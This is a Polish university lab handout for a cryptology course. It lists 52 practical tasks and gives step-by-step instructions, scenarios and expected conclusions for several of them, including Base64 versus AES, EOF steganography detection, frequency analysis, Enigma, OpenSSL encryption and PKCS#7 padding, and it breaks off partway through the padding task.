Organizacja pracy: zadania laboratoryjne

Zestaw 52 małych, unikalnych zadań praktycznych do wykonania w trakcie zajęć laboratoryjnych.
Czas wykonania jednego zadania wynosi maksymalnie 20–30 minut wraz ze sporządzeniem dokumentacji i zrzutów ekranu.
Kierunek: Informatyka, przedmiot: Kryptologia, podstawa merytoryczna: wykłady część 1 (wprowadzenie do kryptologii i zagrożenia bezpieczeństwa informacji - kryptologia.netstudio.net.pl/czesc_1.html).

Wymagania formalne dotyczące sprawozdania:

• Strona tytułowa zawierająca: imię i nazwisko studenta, numer albumu, kierunek studiów, semestr, grupę laboratoryjną, rok akademicki, numer laboratorium (LAB 1), numer i tytuł realizowanego zadania oraz oznaczenie wnioskowanej oceny.
• Krótki opis wykonanych czynności, cel ćwiczenia i scenariusz problemowy.
• Ukazana konfiguracja środowiska badawczego, adresy wykorzystanych serwisów internetowych, wprowadzone parametry i wywołane polecenia.
• Efekty wykonanych poleceń: wklejone fragmenty danych wyjściowych, wyniki obliczeń oraz zrzuty ekranu dokumentujące każdy kluczowy etap pracy.
• Opis procesu wykonania z uzasadnieniem doboru narzędzi i metod analitycznych.
• Wszystkie ilustracje (zrzuty ekranu, schematy) oraz tabele muszą być ponumerowane, opatrzone merytorycznym podpisem i bezpośrednio przywołane w treści raportu.
• Raport sporządzony w języku polskim, z dbałością o kulturę techniczną, poprawną gramatykę i precyzyjną terminologię.

Zadania ułożono w 9 grupach tematycznych zgodnych z układem wykładu (część 1). Numery zadań (z01–z52) są trwałymi identyfikatorami do sprawozdań — kolejność fizyczna odpowiada grupom, nie numeracji.

1. Grupa 1 — Historia kryptologii i szyfry klasyczne (6 zadań: z02, z03, z41, z42, z04, z43)
   Podstawa: wykład cz.1 slajdy 5–8: starożytność, Al-Kindi, Vigenère, Enigma, Shannon.
2. JSLinux2.Steganografia cyfrowa - tekst ukryty za znacznikiem EOF
3. WEB3.Analiza częstości liter Al-Kindiego w CyberChef
4. WEB41.Szyfr Cezara - łamanie siłowe 26 kluczy
5. WEB42.Szyfr Vigenère’a - długość klucza metodą Kasiskiego
6. WEB4.Symulacja Enigmy - brak punktów stałych
7. Python43.One-Time Pad Vernama - tajność doskonała i zguba powtórki klucza
8. Grupa 2 — Podstawowe pojęcia i szyfrowanie danych (7 zadań: z01, z05, z06, z07, z08, z32, z33)
   Podstawa: wykład cz.1 slajdy 4, 9–11 i 13: kodowanie a szyfrowanie, cykl, Kerckhoffs, blokowe/strumieniowe, poufność.
9. JSLinux1.Kodowanie a szyfrowanie - Base64 kontra AES
10. JSLinux5.Cykl kryptograficzny - szyfrowanie pliku w OpenSSL
11. WEB6.Zasada Kerckhoffsa - jawny algorytm, tajny klucz
12. JSLinux7.Szyfry blokowe a strumieniowe - dopełnienie PKCS#7
13. JSLinux8.Poufność danych w spoczynku - losowy klucz 256-bit
14. Windows32.Szyfrowanie archiwum AES-256 w 7-Zip
15. Windows33.Cykl AES-256 i klucze RSA w OpenSSL na Windows
16. Grupa 3 — Integralność danych i podpis cyfrowy (4 zadań: z09, z10, z44, z45)
    Podstawa: wykład cz.1 slajd 14: skróty, HMAC, podpisy, niezaprzeczalność.
17. JSLinux9.Integralność danych - efekt lawinowy SHA-256
18. JSLinux10.Weryfikacja pobranego pliku - sumy kontrolne
19. JSLinux44.HMAC-SHA-256 - dlaczego sam skrót nie uwierzytelnia
20. JSLinux45.Podpis cyfrowy RSA - niezaprzeczalność dokumentu
21. Grupa 4 — Hasła, MFA i sejfy poświadczeń (6 zadań: z12, z47, z26, z46, z35, z36)
    Podstawa: wykład cz.1 slajdy 13 i 16: AAA, sól, entropia, TOTP, DPAPI, Argon2.
22. JSLinux12.Uwierzytelnianie AAA - skróty haseł z solą
23. Python47.Atak słownikowy na skróty - sól kontra tablice tęczowe
24. Python26.Przestrzeń kluczy i entropia haseł w Pythonie
25. WEB46.Kody TOTP/MFA - 30-sekundowe okno i atak powtórzenia
26. Windows35.Szyfrowanie poświadczeń - Windows DPAPI
27. Windows36.Sejf KeePass - derywacja klucza Argon2id
28. Grupa 5 — Dostępność i ciągłość działania (5 zadań: z11, z14, z15, z25, z50)
    Podstawa: wykład cz.1 slajd 15 i 43: SLA, UPS, S.M.A.R.T., kasowanie, kopia 3-2-1.
29. Windows11.Dostępność usług - przestoje SLA i pomiar curl
30. WEB14.Bilans mocy i dobór UPS dla serwerowni
31. JSLinux15.Raport S.M.A.R.T. dysku (analiza offline)
32. JSLinux25.Bezpowrotne usuwanie danych w JSLinux
33. Windows50.Kopia 3-2-1 i test odtwarzania - manifest SHA-256
34. Grupa 6 — Ataki sieciowe, webowe i socjotechnika (8 zadań: z19, z20, z21, z22, z23, z24, z48, z49)
    Podstawa: wykład cz.1 slajdy 17–26: sniffing, SQLi, XSS, spoofing, homografy, phishing, wycieki.
35. WEB19.Ataki pasywne - analiza strumienia HTTP
36. WEB20.Metadane EXIF i geolokalizacja zdjęcia
37. Python21.Atak SQL Injection w Pythonie
38. WEB22.Atak XSS i enkodowanie encji HTML
39. WEB23.Fałszowanie nadawcy poczty - analiza nagłówków
40. WEB24.Domeny podszywające się - zapis Punycode
41. Windows48.Phishing i certyfikat TLS - analiza adresu i łańcucha zaufania
42. WEB49.Wycieki danych - kontrola adresu i haseł w Have I Been Pwned
43. Grupa 7 — Malware, monitoring i obrona (6 zadań: z13, z17, z18, z29, z30, z52)
    Podstawa: wykład cz.1 slajdy 17 i 36–38: ransomware, VirusTotal, logi, Snort, iptables, audyt.
44. JSLinux13.Rozliczalność AAA - analiza logów serwera
45. WEB17.Weryfikacja pliku w VirusTotal przez skrót SHA-256
46. Python18.Symulacja ransomware w Pythonie
47. Python29.Reguła Snort IDS dla serwera WWW
48. Python30.Symulator zapory iptables w Pythonie
49. Windows52.Audyt stacji bez admina - uprawnienia NTFS i polityka kont
50. Grupa 8 — Ryzyko, podatności i zgodność z prawem (4 zadań: z16, z27, z28, z51)
    Podstawa: wykład cz.1 slajdy 27–35 i 39–42: CVSS, ALE, macierz ryzyka, RODO.
51. WEB16.Wektor podatności CVSS v3.1
52. Python27.Wskaźniki ryzyka SLE, ARO i ALE w Pythonie
53. Python28.Macierz ryzyka 5x5 - arkusz lub Python
54. Python51.Pseudonimizacja RODO - zamiana identyfikatorów na skróty z solą
55. Grupa 9 — Steganografia i ukrywanie danych — warsztat (6 zadań: z31, z34, z37, z38, z39, z40)
    Podstawa: wykład cz.1 slajd 5: od EOF przez LSB po steganalizę porównawczą.
56. Windows31.Steganografia w Windows - program Steghide
57. Windows34.Ukryte strumienie ADS na dysku NTFS
58. Windows37.Steganografia LSB w obrazie - OpenStego Portable
59. Windows38.Steganografia EOF w audio - doklejanie i test w Audacity
60. Windows39.Prawdziwa steganografia w JPG i WAV - Steghide z hasłem
61. Windows40.Steganaliza porównawcza EOF kontra LSB - wnioski

Cel

Celem zadania jest praktyczne zrozumienie różnicy między kodowaniem danych a ich szyfrowaniem. Student bada brak ochrony poufności w przypadku kodowania Base64 oraz porównuje go z symetrycznym szyfrowaniem kryptograficznym przy użyciu tajnego klucza.

Scenariusz

Pracujesz jako młodszy audytor bezpieczeństwa w firmie tworzącej sklep internetowy. Podczas przeglądu kodu programista pokazuje Ci fragment skryptu logowania i mówi z dumą: hasła są u nas bezpieczne, bo przed zapisem do bazy szyfrujemy je do Base64, popatrz, w bazie widać tylko ciągi w rodzaju VGFqbmVIYXNsbzEyMw==, nikt tego nie odczyta. Zarząd wierzy programiście, bo zapis rzeczywiście wygląda na nieczytelny. Twoim zadaniem jest przygotowanie krótkiej demonstracji dla zarządu, która rozstrzygnie spór. Musisz wyjaśnić, czym różni się kodowanie do transportu od szyfrowania z tajemnicą, pokazać, że Base64 odwraca się w sekundę bez żadnego hasła, a następnie pokazać, jak wygląda prawidłowe szyfrowanie symetryczne, w którym bez znajomości tajnego klucza odzyskanie danych kończy się błędem. Od Twojego pokazu zależy, czy firma naprawi błąd przed wyciekiem bazy i karą za naruszenie ochrony danych.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce narzędzie CyberChef (gchq.github.io/CyberChef). W osobnej karcie otwórz emulator terminala JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256).
2. W panelu wejściowym Input w serwisie CyberChef wpisz poufny komunikat: TajneHasloBazy2026!.
3. Wyszukaj po lewej stronie operację To Base64 i przeciągnij ją do panelu Recipe. Odczytaj ciąg wyjściowy w panelu Output (VGFqbmVIYXNsb0JhenkyMDI2IQ==). Zwróć uwagę na znak dopełnienia '=' na końcu.
4. Skopiuj wygenerowany ciąg Base64 i wklej go do nowego okna wejściowego. Zmień operację w Recipe na From Base64. Zauważ, że tekst jawny został odzyskany natychmiast bez konieczności podawania hasła czy klucza.
5. W terminalu JSLinux wykonaj to samo przekształcenie za pomocą polecenia systemowego:

   echo -n 'TajneHasloBazy2026!' | base64

   Następnie odkoduj wynik:

   echo -n 'VGFqbmVIYXNsb0JhenkyMDI2IQ==' | base64 -d

6. Teraz przeprowadź rzeczywiste szyfrowanie w konsoli JSLinux narzędziem OpenSSL (najpierw sprawdź: command -v openssl - brak wyniku oznacza brak programu; wtedy doinstaluj apk add openssl albo wykonaj ten i następny krok w OpenSSL na Windows / operacją AES Encrypt w CyberChef jak w zadaniu 6 i odnotuj to) i zapisz wynik do pliku (plik pośredni jest konieczny, bo deszyfrowanie potrzebuje wejścia):

   echo -n 'TajneHasloBazy2026!' | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:KluczProjektu997 > szyfr.b64
   cat szyfr.b64

   Sprawdź, że plik zawiera jedną linię Base64 zaczynającą się od U2FsdGVkX1 (jawny nagłówek Salted__ zakodowany w Base64).
7. Spróbuj odszyfrować zapisany szyfrogram przy błędnym haśle, podając plik jako wejście:

   cat szyfr.b64 | openssl enc -d -aes-256-cbc -a -pbkdf2 -pass pass:ZleHaslo

   Zaobserwuj komunikat błędu bad decrypt. Następnie odszyfruj tym samym poleceniem przy haśle poprawnym:

   cat szyfr.b64 | openssl enc -d -aes-256-cbc -a -pbkdf2 -pass pass:KluczProjektu997

   Powinien wrócić tekst TajneHasloBazy2026!. Uwaga: samo polecenie openssl enc -d ... bez potoku lub pliku wejściowego zawiesi się czekając na stdin - zawsze podawaj wejście przez cat lub |.
8. Sporządź zrzut ekranu z serwisu CyberChef oraz terminala JSLinux dokumentujący oba procesy i dołącz go do sprawozdania z podpisem.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Kodowanie (np. Base64, ASCII, URL encode) służy wyłącznie do zmiany formatu reprezentacji danych w celu ich bezpiecznej transmisji i nie zapewnia poufności, ponieważ algorytm dekodowania jest w pełni jawny i nie wymaga klucza.
• Szyfrowanie wymaga tajnego parametru (klucza), bez którego odtworzenie tekstu jawnego w rozsądnym czasie jest obliczeniowo niemożliwe.
• Osiągnięcie: praktyczne udowodnienie błędu traktowania Base64 jako zabezpieczenia kryptograficznego i demonstracja szyfrowania AES-256-CBC z solą.

Cel

Celem zadania jest praktyczne zastosowanie techniki steganograficznej polegającej na ukryciu tekstu w strukturze pliku JPEG za znacznikiem końca danych obrazu (EOF). Student bada, dlaczego przeglądarki ignorują nadmiarowe dane oraz jak analityk może wykryć ukryty komunikat.

Scenariusz

Pracujesz w zespole reagowania na wycieki danych. Firma podejrzewa, że jeden z pracowników wynosi poufne zestawienia finansowe, ale monitoring poczty i pendrive nic nie wykrywa. Ktoś zauważa, że ten sam pracownik regularnie publikuje na firmowym blogu niewinne zdjęcia z imprez integracyjnych. Pada hipoteza, że pliki graficzne są tylko nośnikiem, a prawdziwa treść jest doklejona za końcem obrazu, tam gdzie przeglądarka już nie zagląda, bo kończy odczyt na znaczniku FFD9. Twoim zadaniem jest odtworzyć ten sposób w kontrolowanych warunkach: wstrzyknąć krótki tekst za plik JPG, sprawdzić, że obraz nadal się wyświetla, a potem wcielić się w analityka i wykryć ukrytą wiadomość prostym narzędziem konsolowym. Musisz też wyjaśnić, dlaczego to jest steganografia, a nie kryptografia, i dlaczego sama w sobie nie chroni treści, jeśli ktoś wie, gdzie szukać.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub konsolę PowerShell na systemie Windows.
2. Wariant A (z siecią): pobierz mały plik testowy. Sieć w JSLinux działa przez VPN z limitem ok. 40 kB/s, więc pobieranie może trwać lub się nie udać na uczelni - wtedy od razu przejdź do wariantu B. Jeśli masz curl, wykonaj:

   curl -sL -o nosnik.bin https://bellard.org/jslinux/favicon.ico; ls -l nosnik.bin

   Jeśli nie ma curl, spróbuj:

   wget -O nosnik.bin https://bellard.org/jslinux/favicon.ico; ls -l nosnik.bin

   Wariant B (bez sieci, zawsze działa): użyj dowolnego istniejącego pliku lokalnego jako nośnika:

   cp /bin/busybox nosnik.bin; ls -l nosnik.bin

   Demonstracja doklejania za koniec pliku działa dla każdego formatu binarnego, nie tylko JPEG.
3. Utwórz plik tekstowy z tajną wiadomością:

   echo 'POUFNE DANE FINANSOWE: PROJEKT ARIES 2026' > tajne.txt; cat tajne.txt; wc -c tajne.txt

4. Dołącz zawartość pliku tekstowego na koniec nośnika:

   cat nosnik.bin tajne.txt > stego.bin

   (Na systemie Windows w PowerShell/cmd: cmd /c copy /b nosnik.bin + tajne.txt stego.bin).
5. Sprawdź rozmiary plików poleceniem:

   ls -l nosnik.bin stego.bin; wc -c tajne.txt

   Zauważ, że plik stego.bin powiększył się dokładnie o rozmiar pliku tekstowego (różnica musi równać się liczbie bajtów z wc -c tajne.txt). Dla plików JPEG przeglądarki ignorują bajty dopisane po znaczniku końca obrazu FFD9, dlatego obraz nadal się wyświetla.
6. Zweryfikuj nośnik: jeśli użyłeś pliku graficznego, ściągnij go z emulatora poleceniem export_file stego.bin, przemianuj na .jpg i otwórz w przeglądarce. Jeśli użyłeś nosnik.bin z wariantu B, ten krok pomiń - liczy się przyrost rozmiaru i wykrycie tekstu w kolejnym kroku.
7. Wykryj ukrytą wiadomość. Najpierw spróbuj:

   strings stego.bin | tail -n 5

   Jeśli emulator zgłosi strings: not found (brak pakietu binutils), użyj zamiennika dostępnego zawsze:

   grep -a -o 'POUFNE.*' stego.bin
   tail -c 100 stego.bin | hexdump -C | tail -n 5

   Odczytaj ujawniony tekst tajnego komunikatu na końcu pliku.
8. Wykonaj zrzut ekranu przedstawiający polecenie łączenia plików oraz wynik detekcji (strings lub grep -a).

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Steganografia polega na ukryciu faktu istnienia komunikacji, w przeciwieństwie do kryptografii, która ukrywa treść jawnej wiadomości.
• Dołączanie danych za znacznikiem EOF (End Of File) jest prostą formą steganografii strukturalnej, podatną na szybkie wykrycie analizą sygnaturową i poleceniem strings.
• Osiągnięcie: praktyczne przygotowanie nośnika steganograficznego oraz przeprowadzenie inspekcji binarnej ujawniającej ukryte dane.

Cel

Celem zadania jest praktyczne zbadanie właściwości statystycznych języka naturalnego za pomocą analizy częstości liter Al-Kindiego. Student bada rozkład częstości liter w tekście jawnym, a następnie obserwuje zachowanie histogramu po nałożeniu szyfru podstawieniowego.

Scenariusz

Trafiasz do zespołu analizującego przechwyconą korespondencję dyplomatyczną z XIX wieku. Wiadomości wyglądają na bełkot literowy, ale historycy podejrzewają zwykłe podstawienie liter, czyli szyfr monoalfabetyczny, w którym każda litera jest zawsze zamieniana na tę samą inną literę. Nie masz klucza ani słownika, masz tylko dłuższy tekst. Twoim zadaniem jest sięgnąć do metody arabskiego uczonego Al-Kindiego z IX wieku: policzyć, jak często występuje każda litera, narysować profil języka i pokazać, że szyfr nie ukrywa statystyki języka, tylko ją przesuwa. Musisz porównać histogram tekstu jawnego z histogramem po przesunięciu ROT i wyjaśnić przełożonemu, dlaczego kształt słupków zostaje ten sam i jak na tej podstawie można odtworzyć klucz bez łamania siłowego.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz stronę narzędzia CyberChef (gchq.github.io/CyberChef) w przeglądarce internetowej.
2. W panelu Input wklej fragment polskiego tekstu technicznego (około 400–500 znaków) pozbawionego polskich znaków diakrytycznych, np.:
   bezpieczenstwo systemow teleinformatycznych wymaga wielowarstwowej ochrony aktywow informacyjnych przed nieuprawnionym dostepem modyfikacja lub zniszczeniem integralnosc i poufnosc danych stanowia fundament kazdej wspolczesnej infrastruktury sieciowej.
3. W lewym panelu operacji odszukaj Frequency distribution (uwaga na małą literę 'd') i przeciągnij ją do panelu Recipe.
4. Przeanalizuj wygenerowany wykres słupkowy oraz tabelę częstości. Zidentyfikuj najczęściej występujące litery (np. 'e', 'a', 'o', 'i', 'z') i odnotuj ich udziały procentowe.
5. Wyczyść Recipe. Przeciągnij operację ROT13 do Recipe i ustaw wartość przesunięcia (Amount) na 5. Zaobserwuj wyjściowy szyfrogram.
6. Pod operacją ROT13 w panelu Recipe dodaj ponownie operację Frequency distribution.
7. Porównaj oba histogramy: zauważ, że kształt rozkładu częstotliwości (profil 'szczytów' i 'dolin') pozostał identyczny, ulegając jedynie przesunięciu o 5 pozycji w alfabecie.
8. Wykonaj zrzut ekranu przedstawiający przesunięty rozkład częstości liter w CyberChef i sporządź notatkę.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Szyfry monoalfabetyczne nie maskują cech statystycznych języka naturalnego - każda litera tekstu jawnego jest zawsze zastępowana tym samym symbolem.
• Metoda Al-Kindiego umożliwia złamanie szyfru podstawieniowego wyłącznie w oparciu o analizę szyfrogramu (atak ze znajomością wyłącznie szyfrogramu - ciphertext-only attack).
• Osiągnięcie: wykazanie zachowania charakterystyki częstościowej języka w szyfrogramie monoalfabetycznym za pomocą narzędzia CyberChef.

Cel

Celem zadania jest praktyczne przetestowanie mechanizmu szyfrującego maszyny Enigma w symulatorze internetowym. Student weryfikuje fundamentalną słabość konstrukcyjną Enigmy: litera nigdy nie może zostać zaszyfrowana jako ona sama (brak stałych punktów permutacji).

Scenariusz

Przygotowujesz pokaz historyczny dla koła naukowego o polskim wkładzie w złamanie Enigmy. Publiczność zadaje podchwytliwe pytanie: skoro Enigma miała miliony ustawień rotorów, to jak w ogóle można było ją atakować bez komputerów. Twoim zadaniem jest odwołać się do odkrycia Mariana Rejewskiego: maszyna przez wbudowany reflektor nigdy nie szyfruje litery samej w siebie, bo prąd po odbiciu zawsze wraca inną drogą. Musisz to udowodnić na żywo na darmowym symulatorze: ustawić wojenną konfigurację M3 z reflektorem B i rotorami I-II-III, zaszyfrować długi ciąg tych samych liter i pokazać, że szukana litera ani razu nie pojawia się na tej samej pozycji w szyfrogramie. Masz też wyjaśnić, jak ta jedna słabość pozwalała odrzucać tysiące fałszywych dopasowań tekstu prawdopodobnego i dlaczego samoodwracalność była jednocześnie wygodą i zgubą konstruktorów.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce darmowy symulator Enigmy w serwisie Cryptii (cryptii.com/pipes/enigma-machine) lub dCode (dcode.fr/enigma-machine-cipher).
2. Skonfiguruj maszynę wojskową (Enigma I / M3): ustaw bęben odwracający (Reflector) na B (w serwisie Cryptii opcja ta widnieje jako UKW B), rotory od lewej do prawej na I, II, III, z pozycjami początkowymi rotorów A-A-A (lub 01-01-01) i ustawieniami pierścieni (Ringstellung - w Cryptii pole Ring) na A-A-A.
3. Pozostaw łącznicę kablową (Steckerbrett / Plugboard) bez połączeń (pustą), aby badać bezpośredni wpływ rotorów i reflektora.
4. W polu tekstu jawnego wprowadź ciąg składający się z 30 identycznych liter: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
5. Odczytaj wyjściowy szyfrogram i przeanalizuj każdą kolejną literę. Zweryfikuj, czy na którejkolwiek z 30 pozycji pojawiła się litera 'A'.
6. Wprowadź ciąg 30 liter: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB i sprawdź, czy w szyfrogramie pojawiła się chociaż raz litera 'B'.
7. Wyjaśnij przyczynę: prąd elektryczny w maszynie przepływa przez łącznicę, trzy rotory, wchodzi do reflektora, zawraca inną drogą przez rotory i łącznicę do żarówki. Ponieważ reflektor łączy styki w pary rozłączne (inwolucja bez punktów stałych), styk wejściowy nigdy nie może być stykiem powrotnym.
8. Zapisz zrzut ekranu symulatora z wprowadzonym tekstem 'AAAAA...' i uzyskanym szyfrogramem do sprawozdania.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Reflektor zapewniał samoodwracalność maszyny (ta sama maszyna szyfrowała i deszyfrowała bez zmiany trybu), lecz wprowadził krytyczną lukę kryptoanalityczną.
• Brak możliwości zaszyfrowania litery jako samej siebie umożliwił polskim i brytyjskim kryptoanalitykom eliminowanie tysięcy błędnych dopasowań tekstu prawdopodobnego (tzw. cribs).
• Osiągnięcie: empiryczne potwierdzenie braku punktów stałych w maszynie Enigma na symulatorze online.

Cel

Celem zadania jest praktyczne przećwiczenie pełnego cyklu przetwarzania kryptograficznego (tekst jawny -> szyfrowanie -> szyfrogram -> deszyfrowanie -> weryfikacja) przy użyciu standardowego narzędzia OpenSSL w systemie Linux.

Scenariusz

Jesteś administratorem w małej firmie. Szef prosi Cię o wysłanie kopii pliku konfiguracyjnego z dostępem do bazy produkcyjnej na zewnętrzny serwer backupu. Plik zawiera adres serwera, login i hasło w jawnym tekście, a łącze i sam serwer backupu nie są w pełni zaufane. Nie możesz wysłać go jawnie, musisz go najpierw zaszyfrować sprawdzonym algorytmem, a po stronie odbiorcy dać się odszyfrować. Twoim zadaniem jest przećwiczyć cały cykl: utworzyć przykładowy plik, zaszyfrować go AES-256-CBC z solą i funkcją PBKDF2, zajrzeć do środka hexem i pokazać charakterystyczny nagłówek Salted__, a potem odszyfrować do nowego pliku i udowodnić komendą diff, że odzyskany plik jest bit w bit identyczny z oryginałem. Musisz też umieć wyjaśnić, po co jest sól i dlaczego samo hasło bez niej byłoby słabsze.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce terminal JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256). Sprawdź narzędzie: command -v openssl (przy braku programu: apk add openssl, a bez sieci wykonaj kroki szyfrowania w OpenSSL na Windows i odnotuj to w sprawozdaniu).
2. Utwórz plik tekstowy zawierający dane testowe:

   echo 'DB_HOST=10.0.0.5; DB_USER=admin; DB_PASS=TajneHaslo#2026' > config.txt

3. Wyświetl zawartość pliku w celach referencyjnych:

   cat config.txt

4. Zaszyfruj plik algorytmem AES-256 w trybie CBC z wykorzystaniem funkcji wyprowadzania klucza PBKDF2:

   openssl enc -aes-256-cbc -salt -pbkdf2 -in config.txt -out config.enc -pass pass:MojeBezpieczneHaslo123!

5. Zbadaj strukturę binarną pliku zaszyfrowanego za pomocą narzędzia xxd lub hexdump:

   xxd config.enc | head -n 3

6. Zwróć uwagę na pierwsze 8 bajtów szyfrogramu: ciąg ASCII 'Salted__' (magiczna sygnatura OpenSSL potwierdzająca dodanie 8-bajtowej soli zapobiegającej atakom słownikowym).
7. Odszyfruj plik do nowej nazwy:

   openssl enc -d -aes-256-cbc -pbkdf2 -in config.enc -out config_dec.txt -pass pass:MojeBezpieczneHaslo123!

8. Porównaj odzyskany plik z oryginałem poleceniem:

   diff config.txt config_dec.txt && echo 'PLIKI SA IDENTYCZNE'

   Zapisz zrzut ekranu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Bezpieczne szyfrowanie symetryczne wymaga nie tylko silnego algorytmu (AES-256), lecz także losowej soli (salt) oraz bezpiecznej funkcji wyprowadzania klucza z hasła (PBKDF2).
• Nagłówek pliku zaszyfrowanego ujawnia metadane (sygnatura 'Salted__'), lecz sam szyfrogram jest nieodróżnialny od szumu losowego dla podmiotu nieznającego hasła.
• Osiągnięcie: realizacja pełnego cyklu szyfrowania i deszyfrowania z weryfikacją tożsamości binarnej za pomocą OpenSSL.

Cel

Celem zadania jest praktyczne zademonstrowanie zasady Auguste'a Kerckhoffsa mówiącej, że bezpieczeństwo systemu zależy wyłącznie od tajności klucza, a nie od tajności algorytmu. Student weryfikuje odporność jawnego algorytmu AES przy próbie deszyfrowania nieprawidłowym kluczem.

Scenariusz

Na spotkaniu projektowym autor wewnętrznego komunikatora chwali się: wymyśliłem własny tajny algorytm, nikt go nie zna, więc system jest w stu procentach bezpieczny, nie musimy nic więcej robić. Zarząd jest pod wrażeniem, bo brzmi to jak tajna receptura. Ty jako osoba po wykładzie z zasady Kerckhoffsa wiesz, że to klasyczny błąd security through obscurity. Twoim zadaniem jest pokazać na odwrotnym przykładzie: weź w pełni jawny, standardowy AES-128, pokaż jego szyfrowanie i poprawne deszyfrowanie, a potem zmień w kluczu jeden znak i pokaż, że odszyfrowanie sypie się całkowicie z błędem dopełnienia. Masz wyjaśnić, że bezpieczeństwo leży wyłącznie w tajnym, losowym kluczu, a nie w ukrywaniu opisu algorytmu, bo ukryty algorytm i tak wycieknie przez inżynierię wsteczną, a jawny przeszedł lata publicznej kryptoanalizy.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce narzędzie CyberChef (gchq.github.io/CyberChef).
2. Wprowadź w panelu Input jawny komunikat: Poufny raport finansowy zarzadu spolki za IV kwartal.
3. Przeciągnij do Recipe operację AES Encrypt. Skonfiguruj parametry:
   Key: 00112233445566778899aabbccddeeff (16 bajtów w zapisie HEX)
   IV: 0102030405060708090a0b0c0d0e0f10 (16 bajtów HEX)
   Mode: CBC, Padding: Pkcs7, Input: Raw, Output: Hex. Klucz i IV wpisuj w trybie Hex (przełącznik formatu przy polu).
4. Odczytaj wygenerowany szyfrogram w postaci ciągu heksadecymalnego w oknie Output i skopiuj go do schowka.
5. Wyczyść Recipe. Przeciągnij operację AES Decrypt. Ustaw Input na Hex, Output na Raw.
6. Wklej uzyskany szyfrogram do Input. W polach AES Decrypt wpisz ten sam IV oraz poprawny Key. Potwierdź odzyskanie tekstu jawnego w Output.
7. Zmień w polu Key dokładnie jeden ostatni znak z 'f' na 'e' (Klucz: 00112233445566778899aabbccddeeFE). Zaobserwuj reakcję narzędzia CyberChef: wystąpienie błędu dopełnienia 'Bad PKCS#7 padding' lub całkowicie zniekształcone dane wyjściowe.
8. Sporządź zrzut ekranu prezentujący poprawną deszyfrację oraz błąd po zmianie 1 bitu klucza i umieść go w sprawozdaniu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Jawność budowy algorytmu (takiego jak AES czy RSA) pozwala na wieloletnią weryfikację przez kryptoanalityków na całym świecie i nie osłabia bezpieczeństwa.
• Nawet minimalna zmiana klucza (1 bit) uniemożliwia odzyskanie choćby jednego fragmentu tekstu jawnego.
• Koncepcja 'Security through Obscurity' (ukrywanie algorytmu) jest kardynalnym błędem projektowym, gdyż ukrywany algorytm zawsze ulega ujawnieniu (np. inżynieria wsteczna).
• Osiągnięcie: praktyczna weryfikacja zasady Kerckhoffsa na jawnym algorytmie AES w narzędziu CyberChef.

Cel

Celem zadania jest praktyczne zbadanie różnic w sposobie przetwarzania danych przez szyfry blokowe i strumieniowe. Student bada mechanizm dopełnienia blokowego (padding PKCS#7) w algorytmie AES oraz brak narzutu rozmiarowego w szyfrze strumieniowym ChaCha20.

Scenariusz

Projektujesz protokół dla czujników IoT zasilanych baterią, które wysyłają co minutę krótki pakiet telemetryczny przez drogie łącze radiowe. Producent modułu pyta, czy użyć blokowego AES-CBC, czy strumieniowego ChaCha20. Każdy dodatkowy bajt to większy pobór prądu i krótszy czas pracy baterii. Dostajesz do testu przykładowy pakiet o długości 17 bajtów, czyli o jeden bajt więcej niż blok AES. Twoim zadaniem jest zaszyfrować ten sam plik oboma algorytmami, porównać rozmiary wyników i wyjaśnić, skąd bierze się narzut dopełnienia PKCS#7 w szyfrze blokowym i dlaczego szyfr strumieniowy szyfruje bajt po bajcie bez dopełniania. Od Twojego pomiaru zależy wybór trybu dla całej floty urządzeń.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256). Sprawdź narzędzie: command -v openssl (przy braku programu: apk add openssl, a bez sieci kroki szyfrowania wykonaj w OpenSSL na Windows i odnotuj to).
2. Utwórz plik testowy o długości dokładnie 17 bajtów:

   echo -n '12345678901234567' > probka17.bin

3. Zweryfikuj rozmiar pliku wyjściowego poleceniem:

   wc -c probka17.bin

   (wynik musi wynosić dokładnie 17 bajtów).
4. Zaszyfruj plik szyfrem blokowym AES-128-CBC z domyślnym dopełnieniem PKCS#7:

   openssl enc -aes-128-cbc -salt -pbkdf2 -in probka17.bin -out probka_aes.enc -pass pass:KluczTestowy1
   ls -l probka_aes.enc

   Oczekiwany wynik: 48 bajtów (16 bajtów nagłówka Salted__ + 32 bajty szyfrogramu po dopełnieniu).
5. Najpierw udowodnij samo dopełnienie bez soli (ten krok działa na każdej wersji OpenSSL):

   openssl enc -aes-128-cbc -nosalt -in probka17.bin -out probka_aes_nosalt.enc -pass pass:KluczTestowy1 && ls -l probka17.bin probka_aes_nosalt.enc

